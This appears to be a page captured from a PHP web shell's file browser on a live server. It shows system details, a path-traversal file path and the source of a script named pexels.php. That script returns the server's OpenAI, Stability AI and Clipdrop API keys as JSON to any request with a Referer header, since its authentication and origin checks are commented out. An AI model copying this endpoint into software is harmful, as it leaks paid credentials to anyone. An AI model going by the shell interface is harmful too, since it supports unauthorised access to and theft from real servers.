( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/../tmpr/../tmpr/../tmpr/../tmpr/..//tmpr/../wowZ/php/pexels.php
<?php
function getApiKeys() {

    // Implement basic authentication (e.g., using a token)
    $authToken = 'f4c3b9a2e6d1c5e0a8f1b2c3d4e5f6g7'; // Define a secure token
    /*if (!isset($_SERVER['HTTP_AUTHORIZATION']) || $_SERVER['HTTP_AUTHORIZATION'] !== 'Bearer ' . $authToken) {
        header('HTTP/1.1 401 Unauthorized');
        echo json_encode(['error' => 'Unauthorized access']);
        exit;
    }*/



    // Check if the HTTP_REFERER header is set
    if (!isset($_SERVER['HTTP_REFERER'])) {
        echo 'Access Denied!';
        exit;
    }

    // Check if the HTTP_REFERER header is present and matches the domain of your website
    /*if (!$_SERVER['HTTP_REFERER'] || !strpos($_SERVER['HTTP_REFERER'], $_SERVER['HTTP_HOST'])) {
        // The request is not coming from the same domain, reject it
        header('HTTP/1.1 403 Forbidden');
        exit;
    }*/

      $STABILITYAI_API_KEY = getenv('STABILITYAI_API_KEY');
    $OPENAI_API_KEY = getenv('OPENAI_API_KEY');
    $CLIPDROP_API_KEY = getenv('CLIPDROP_API_KEY');

    // Enter Your API Keys Here
    $apiKeys = array(
        'stabilityai' => $STABILITYAI_API_KEY,
        'openai' => $OPENAI_API_KEY,
        'clipdrop' => $CLIPDROP_API_KEY,
    );
    $apiKeys = json_encode($apiKeys);

    // Return the API keys
    echo $apiKeys;
}
getApiKeys();
?>